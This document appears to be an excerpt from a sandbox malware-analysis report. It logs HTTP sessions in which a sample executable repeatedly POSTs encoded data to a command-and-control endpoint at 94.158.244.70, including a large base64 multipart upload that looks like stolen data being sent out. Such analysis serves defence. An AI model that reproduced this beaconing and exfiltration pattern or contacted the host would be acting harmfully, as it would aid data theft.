Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:57:17.719330072 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:57:18.076117039 CEST	1040	OUT	Data Raw: 55 5f 58 52 58 5e 59 5f 5b 5b 54 51 5b 54 56 55 57 56 5a 43 50 5b 51 5c 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: U_XRX^Y_[[TQ[TVUWVZCP[Q\^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\#]%39#,1%8C-*=R4&$,[?&=3?1.60,<++9G$#P/
Sep 1, 2024 23:57:18.343144894 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:57:18.474384069 CEST	207	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:57:18 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	49737	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:57:18.860991001 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:57:19.216502905 CEST	1040	OUT	Data Raw: 55 5a 58 59 58 59 5c 57 5b 5b 54 51 5b 5c 56 52 57 5a 5a 44 50 52 51 52 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: UZXYXY\W[[TQ[\VRWZZDPRQR^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\#_&32Y5.V%":\9 %T8<X1/)"4%-)Z%?0?9G$#P/
Sep 1, 2024 23:57:19.439193010 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:57:19.565422058 CEST	207	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:57:19 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	49738	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:57:19.704056978 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:57:20.060255051 CEST	1040	OUT	Data Raw: 55 5b 58 53 58 53 59 51 5b 5b 54 51 5b 50 56 57 57 50 5a 42 50 58 51 5b 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: U[XSXSYQ[[TQ[PVWWPZBPXQ[^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\#\%3:^5Y!%!$9S75U/%U+'2"3/Z<9G$#P/0
Sep 1, 2024 23:57:20.282042980 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:57:20.408689022 CEST	207	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:57:20 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	49739	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:57:20.560501099 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1032 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:57:20.919799089 CEST	1032	OUT	Data Raw: 55 51 5d 5f 5d 59 59 50 5b 5b 54 51 5b 55 56 50 57 52 5a 48 50 58 51 5e 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: UQ]_]YYP[[TQ[UVPWRZHPXQ^^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\#[%#/"'28.* C8,>'2[$S<1X$.&0?Z+9G$#P/<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	49740	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:57:20.975433111 CEST	374	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ujLQ4TX3UWXury61yDxROxhqc5MCS7DBZu User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 124778 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:57:21.328974962 CEST	12360	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 75 6a 4c 51 34 54 58 33 55 57 58 75 72 79 36 31 79 44 78 52 4f 78 68 71 63 35 4d 43 53 37 44 42 5a 75 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 30 22 Data Ascii: ------ujLQ4TX3UWXury61yDxROxhqc5MCS7DBZuContent-Disposition: form-data; name="0"Content-Type: text/plainU]]XXXYV[[TQ[RVRWSZHPZQ_^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^
Sep 1, 2024 23:57:21.333986998 CEST	4944	OUT	Data Raw: 4f 65 56 75 68 66 6d 6a 47 78 71 4a 4f 67 72 2f 4f 4c 45 52 6e 74 4f 78 35 56 66 2f 45 56 41 63 72 54 74 41 67 50 4e 55 6e 63 31 33 51 53 72 70 6d 57 50 7a 6b 30 63 44 78 7a 51 75 51 34 72 2b 64 70 59 65 4b 77 65 4c 54 6f 61 65 6f 4a 71 41 4e 31 Data Ascii: OeVuhfmjGxqJOgr/OLERntOx5Vf/EVAcrTtAgPNUnc13QSrpmWPzk0cDxzQuQ4r+dpYeKweLToaeoJqAN1dfVvfi2gqs04SIOFjnRWGWtS86KllK96vvXHKftnM+zbhksjUAHv34aDql/mGtwtQYaoIMbKC//Wp3LsCYISxqjugPKJxFxJdHQN9QGxABcVPJjg4EyOnXpqX6FMxpYBSCAoDMTi7NqEE0X+gJ88lxQpgXsVLuns4
Sep 1, 2024 23:57:21.334084988 CEST	4944	OUT	Data Raw: 4f 55 2b 43 49 32 6d 58 64 6f 70 44 35 43 6d 63 73 58 72 39 2b 44 73 46 51 4f 68 4c 54 4d 37 73 4d 31 72 30 42 2b 6d 69 43 73 66 74 72 44 2b 61 72 76 38 55 38 70 50 38 79 67 6e 2b 47 6d 63 32 38 66 37 49 67 30 49 67 33 52 63 49 36 73 63 30 62 69 Data Ascii: OU+CI2mXdopD5CmcsXr9+DsFQOhLTM7sM1r0B+miCsftrD+arv8U8pP8ygn+Gmc28f7Ig0Ig3RcI6sc0bilReAmvR5lD2ZNF+bBbsXZDt1y+fVpjC0hMwfyJSz9hLK6PPUg69vKkTxzEEf2Z9bO9ea6WFtV1+mX/vnaA89cWb7vwLTw8dnu1sXAU/cHjOKhgu7S+/RPz4Ef9ty3+Lqq5Oikr5ziUaeO/BUJn5jlnnDJFYuKqxlJ
Sep 1, 2024 23:57:21.334142923 CEST	4944	OUT	Data Raw: 38 6e 7a 6b 37 52 38 50 42 65 75 32 58 78 4c 4c 66 74 43 59 53 45 53 63 4c 47 69 62 5a 31 4a 56 50 72 56 31 68 4a 4c 53 30 74 57 42 31 6f 76 52 57 37 5a 61 42 49 69 44 46 50 2b 72 4f 52 36 6f 38 6f 76 43 4d 65 33 79 66 30 4e 57 77 44 76 54 53 59 Data Ascii: 8nzk7R8PBeu2XxLLftCYSEScLGibZ1JVPrV1hJLS0tWB1ovRW7ZaBIiDFP+rOR6o8ovCMe3yf0NWwDvTSYcXvij4xLmxTRcr3rOq/eTe2K3el7YAv4/L4G8g3QjJKxte2pkfcI/Sf9Oc0OV59gUxBmmFjVNcxie8aPd9TwYeDkW1NPicAV+LMmxcfc0xNqaVxMjn0OWZ2P9U8f7VrfLDqluVthei867HB2TtbOJ+SLg+4aQx1uU
Sep 1, 2024 23:57:21.334240913 CEST	4944	OUT	Data Raw: 64 54 72 49 74 65 2b 63 54 35 79 78 4c 58 72 6e 35 78 50 65 71 75 69 74 77 2f 77 77 64 68 74 61 33 54 2b 4a 37 65 33 74 55 36 31 4f 31 69 73 73 69 6f 65 72 65 50 7a 33 70 32 4d 47 42 30 53 55 67 56 75 70 50 62 44 72 42 33 79 56 4b 4d 6e 50 31 67 Data Ascii: dTrIte+cT5yxLXrn5xPequitw/wwdhta3T+J7e3tU61O1issioerePz3p2MGB0SUgVupPbDrB3yVKMnP1gEnpD0nhqjRJs6GL1DbqDFalm+LJAqvAxWp5osbN1k/62wsqyebOsQNT7z9NfsJchkq3/2MYefQckFA+JbnnIu/euuC0V+aO4kMNfEB8neCVBkWM5VsCNrWZkJtF0IclM5NTjiDXYTs2kwsyKYSnITOE1UihM4jMQ/
Sep 1, 2024 23:57:21.334276915 CEST	2472	OUT	Data Raw: 6c 65 65 77 37 53 57 35 63 54 75 62 6d 68 4f 79 79 76 54 32 52 77 76 4d 69 45 6b 45 65 35 37 77 57 7a 65 42 61 56 48 4c 62 74 72 4f 7a 49 74 69 62 73 79 69 37 50 57 47 5a 54 76 44 58 2b 38 39 68 41 4f 56 62 2b 50 6d 49 67 74 6c 45 61 54 6c 43 30 Data Ascii: leew7SW5cTubmhOyyvT2RwvMiEkEe57wWzeBaVHLbtrOzItibsyi7PWGZTvDX+89hAOVb+PmIgtlEaTlC0wzbv4v8kf0JSuvORi4KaRFsEWGmIoWcgcNxN6aknNF12urXWGQKdX3scIBIY23MKLVJ7Qy9CEak1CLTfJMiwnNbSiCP89FwfduvLs+pUpitY1v4AqdfIjYttlTzl1nQS33CKP4sRV6cc2lGtgAgKRvKrQMqLjL7NK
Sep 1, 2024 23:57:21.334304094 CEST	2472	OUT	Data Raw: 6e 30 53 4e 50 7a 65 56 34 41 34 76 53 6e 42 75 4a 31 42 78 51 70 65 63 77 4d 6c 6a 2b 30 54 50 7a 4f 66 78 2f 77 39 46 75 42 4a 46 74 49 52 4a 6c 44 79 69 4d 69 55 33 4b 42 79 4b 4d 4f 64 6e 78 6b 4e 5a 4d 49 47 47 45 35 53 2f 2f 35 33 2b 30 6d Data Ascii: n0SNPzeV4A4vSnBuJ1BxQpecwMlj+0TPzOfx/w9FuBJFtIRJlDyiMiU3KByKMOdnxkNZMIGGE5S//53+0mUZZle/pnlgwBWKyAYhXQYE4PmkQxpPUUL84h9ky5U6Ogfpd/PjTKoyw+LWNe7qDLmugc1QCnNOAm6AontY36DLlTJjpAS3GhyimwfqYFEFg7LMLzWfLKLyWA3ZWqcjYdMJIBpNCAEtl4dm4JE3Jyi1wBah7ZFt66O
Sep 1, 2024 23:57:21.338922024 CEST	4944	OUT	Data Raw: 42 32 39 78 71 69 33 58 2b 78 4b 52 45 30 6f 63 38 50 61 6f 53 32 79 46 5a 65 42 58 47 77 34 67 73 5a 34 31 73 4b 5a 5a 58 43 6a 4a 77 71 6f 47 62 4a 5a 65 30 51 2b 2f 50 6c 69 61 45 32 6b 6a 4e 65 39 75 6b 50 37 6e 6e 46 4b 5a 6e 6f 71 56 77 33 Data Ascii: B29xqi3X+xKRE0oc8PaoS2yFZeBXGw4gsZ41sKZZXCjJwqoGbJZe0Q+/PliaE2kjNe9ukP7nnFKZnoqVw3s83LU5xn7lxgF9UX4i1DbLI8UGxu+S4ieqRroOM/l+9OVpvkOdZ6n6rFUQpxtpoOqXsxmEIFTTk8ZORCqCj2Vh9VuD4xLLzXZcGTlGQTgghnnaq3T7b9hJoDvd8YWfOCAb5cW0flK7GxC3Z8k/WhBe5YgDMOpPDVT
Sep 1, 2024 23:57:21.338953018 CEST	2472	OUT	Data Raw: 67 7a 45 5a 54 76 4e 58 42 35 35 65 54 50 41 53 57 55 6e 75 31 7a 73 79 54 30 56 64 4f 73 2f 68 32 64 47 78 52 6e 30 36 45 37 6e 2f 33 71 4e 79 5a 4b 2f 49 61 64 56 65 6d 4b 38 79 2b 56 6d 55 59 45 62 2b 35 49 4f 37 73 61 4b 4d 50 4d 2b 37 6c 4d Data Ascii: gzEZTvNXB55eTPASWUnu1zsyT0VdOs/h2dGxRn06E7n/3qNyZK/IadVemK8y+VmUYEb+5IO7saKMPM+7lMnoq482r2RK/249DZCn5dS7qavpcm90yqMxZtf5HWTp6r4bfJUtutjBxZ2hq4innebzm2k4idrWoLuVupxn4Yf14W3dLzXb2laP96lvJZ23RTAmqz2Q4vmox7QQneGU7trpNPrCg/nxsoODHPonw8RIKjrclr6W3Eg
Sep 1, 2024 23:57:21.338984966 CEST	4944	OUT	Data Raw: 34 5a 48 36 4f 67 45 45 70 78 50 39 75 6f 6b 4e 6f 70 62 2f 32 74 2f 2f 4b 31 65 63 74 54 72 4a 7a 2f 62 34 2f 66 63 67 2b 77 66 75 61 57 6a 50 39 72 7a 36 33 79 79 72 4f 76 37 6a 57 6b 44 2f 41 67 52 68 6d 52 4d 72 47 50 39 78 42 41 50 6f 77 51 Data Ascii: 4ZH6OgEEpxP9uokNopb/2t//K1ectTrJz/b4/fcg+wfuaWjP9rz63yyrOv7jWkD/AgRhmRMrGP9xBAPowQCQmxzbRwIlWNfirwfxgDguC4P1x5jbsqiKEE2rGP+rgfAjxYFy4haUeFJBqKeIsqiCCdcma4CH6/14ZM8DMmT0IAahNDA/iWM3RwhnNgVMnxbURw0lGGNnpxtoOJKoi8McQDXZ51eh3Rw9iW7oQBIt3Usdv8ZYOH4
Sep 1, 2024 23:57:21.549505949 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:57:21.921610117 CEST	207	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:57:21 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W
Sep 1, 2024 23:57:21.921951056 CEST	304	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1756 Expect: 100-continue
Sep 1, 2024 23:57:22.085913897 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:57:22.328957081 CEST	324	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:57:22 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Content-Type: text/html; charset=UTF-8 Data Raw: 03 10 22 59 31 00 23 1c 32 06 21 09 26 57 3c 1f 2a 09 0a 0a 2e 10 37 5a 34 0a 2b 0e 2c 5a 29 03 36 0a 3a 41 3c 00 3c 5e 3f 2e 30 54 22 1d 20 51 04 12 21 5d 22 2d 00 0f 2d 15 3d 58 25 1c 09 5b 36 0e 2e 13 2a 2a 0f 1e 22 03 25 00 31 0a 21 1f 3c 3f 2c 1f 39 01 28 43 3e 01 32 1f 34 38 21 56 0f 12 26 0e 26 2a 2c 03 27 2f 24 1d 30 01 13 59 21 00 23 58 20 2a 33 1b 26 55 2e 5c 3c 3c 23 1c 3f 04 3e 02 27 3c 22 5a 24 04 3c 0b 30 3c 23 50 2d 02 2f 52 04 31 56 54 Data Ascii: "Y1#2!&W<.7Z4+,Z)6:A<<^?.0T" Q!]"--=X%[6."%1!<?,9(C>248!V&&,'/$0Y!#X *3&U.\<<#?>'<"Z$<0<#P-/R1VT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	49741	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:57:21.195497036 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:57:21.544785976 CEST	1040	OUT	Data Raw: 50 5b 58 5b 58 5c 5c 52 5b 5b 54 51 5b 56 56 51 57 5b 5a 48 50 5d 51 5c 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: P[X[X\\R[[TQ[VVQW[ZHP]Q\^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\ %V>_"?:%+-:"#,T-- 23<!$2)'0(+9G$#P/(
Sep 1, 2024 23:57:21.921547890 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:57:21.921938896 CEST	207	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:57:21 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	49742	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:57:22.066304922 CEST	304	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue
Sep 1, 2024 23:57:22.419715881 CEST	1040	OUT	Data Raw: 50 5d 5d 5f 5d 5b 59 57 5b 5b 54 51 5b 5c 56 55 57 56 5a 41 50 59 51 5c 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: P]]_][YW[[TQ[\VUWVZAPYQ\^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\ %#-6-'2?9)>"%,.+1/<12$Y#[<+9G$#P/
Sep 1, 2024 23:57:22.648824930 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:57:22.774296999 CEST	151	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:57:22 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	49743	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:57:22.906096935 CEST	304	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue
Sep 1, 2024 23:57:23.263559103 CEST	1040	OUT	Data Raw: 55 51 58 5f 5d 5c 5c 54 5b 5b 54 51 5b 51 56 53 57 52 5a 48 50 52 51 5b 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: UQX_]\\T[[TQ[QVSWRZHPRQ[^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\#1V.#<%&-92 C4R,$.#?%>*0\?9G$#P/4
Sep 1, 2024 23:57:23.504801035 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:57:23.634380102 CEST	151	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:57:23 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	49744	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:57:23.767281055 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:57:24.122828007 CEST	1040	OUT	Data Raw: 55 5f 58 5c 5d 5f 59 56 5b 5b 54 51 5b 56 56 56 57 55 5a 42 50 5b 51 5a 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: U_X\]_YV[[TQ[VVVWUZBP[QZ^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\#Z&&Y!Q%2.)!V4&'/.4\%-/)20[$-$/ ?9G$#P/(
Sep 1, 2024 23:57:24.359575033 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:57:24.488698006 CEST	207	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:57:24 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	49745	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:57:24.960388899 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:57:25.310532093 CEST	1040	OUT	Data Raw: 55 59 5d 5e 58 59 59 56 5b 5b 54 51 5b 52 56 53 57 56 5a 48 50 52 51 5f 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: UY]^XYYV[[TQ[RVSWVZHPRQ_^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\#_1V:#?*U&A9:9S 4-=\%. S)1'1=.' (;9G$#P/
Sep 1, 2024 23:57:25.690404892 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:57:25.691320896 CEST	207	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:57:25 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	49746	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
